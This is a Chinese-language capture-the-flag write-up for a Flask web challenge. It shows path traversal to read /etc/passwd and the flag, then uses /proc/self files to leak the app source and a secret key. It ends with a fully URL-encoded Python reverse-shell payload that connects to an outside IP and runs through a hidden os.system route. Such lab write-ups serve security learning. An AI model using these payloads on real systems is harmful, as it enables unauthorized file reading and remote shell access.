反弹shell以及proc虚拟文件系统
打开页面,发现是一个输入框,所以随便输入一些东西进去,发现有一个get提交的url参数,我们试着构造
1
| /page?url=../../../../../etc/passwd
|
发现可以读取信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin app:x:1000:1000::/home/app:/bin/sh
|
所以我们可以尝试读取flag
1
| /page?url=../../../../../flag
|
发现可以读取flag
当然了,如果flag不在这个目录下怎么办呢?我们可以尝试利用proc系统
Linuc下的proc/pid/信息说明
proc是一个虚拟文件系统,它挂载于Linux系统中的/proc目录之上,它有多个功能,其中一个重要的功能是用户可以通过它访问内核信息或排错
进程信息
在/proc文件系统中,每个进程都有一个相应的文件,以下是/proc目录下的一些重要文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| /proc/pid/cmdline:包含了用于开始进程的命令
/proc/pid/cwd:包含了当前进程工作目录的一个链接
/proc/pid/environ:包含了可用进程环境变量的列表
/proc/pid/exe:包含了正在进程中运行的程序链接
/proc/pid/fd/:这个目录包含了进程打开的每一个文件的链接
/proc/pid/mem:包含了进程在内存中的内容
/proc/pid/stat:包含了进程的状态信息
/proc/pid/statm:包含了进程的内存使用信息
|
其中的pid一般是端口号或者是self,可以在本地ubuntu使用
来查看里面的信息
/proc目录的大致介绍
1 2 3 4 5 6 7 8 9 10
| 1. 【number】:在/proc目录下,每个正在运行的进程都有一个以该进程ID命名的子目录
2. 【number】/cmdline:该文件保存了进程的完整命令,如果该进程已经被交换出内存或僵死,则该文件为空
3. 【number】/cwd:一个符号连接,指向进程当前工作目录
4. 【number】/environ:该环境保存进程的环境变量,各项之间以空字符作为间隔,结尾也可能是一个空字符,可以使用echo /proc/1/environ来查看1进程的环境变量
5. 【number】/exe:是一个符号连接,指向被执行的二进制代码,在Linux2.0或更加版本的下,对exe特殊文件的readlink(2)返回一个如下格式的字符串:[设备号]:节点号 6. 【number】/fd:进程所打开的每个文件都有一个符号连接在该子目录下,以文件描述符命名,这个名字实际上是指向真正的文件符号连接
|
[/proc虚拟文件系统的详细说明][https://blog.csdn.net/shenhuxi_yu/article/details/79697792]
所以回到题目本身,我们可以构造
1
| /page?url=/proc/self/cmdline
|
来查看开始进程命令为
所以我们可以构造
1
| /page?url=/proc/self/cwd/app.py
|
来读取app.py文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from flask import Flask, Response from flask import render_template from flask import request import os import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)
@app.route('/') def index(): return render_template('search.html')
@app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!"
return res
if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
|
通过这串代码
1 2 3
| key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY:
|
可知,我们需要知道key是什么,所以我们可以使用
1
| /page?url=/proc/self/fd/[number]
|
命令来读取进程打开的每一个文件,其中通过测试number为3,即
1
| /page?url=/proc/self/fd/3
|
发现key,然后经过url编码为
1
| C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D
|
然后通过这串代码
1 2 3 4 5
| os.system(shell) res = "ok" else: res = "Wrong Key!"
|
可知,我们可以构造shell参数,来使用反弹shell,由于系统是python文件,所以我们需要一个python写的反弹shell
1
| python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
其中ip部分写自己的服务器的公网ip,端口可以写7777,然后在服务器的命令行可以输入
来监控7777端口,接受反弹shell,但是我的阿里云的服务器用不了,很气人,推荐腾讯云,所以我们可以构造payload,其中shell参数的值需要url编码
1
| /no_one_know_the_manager?key=C7ueFsNl0ianR6uxTgIqepkLxQDSp0OE5pyPl51XA%2F4%3D&shell=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2247.242.68.88%22%2C7777))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27
|
然后就可以获得shell了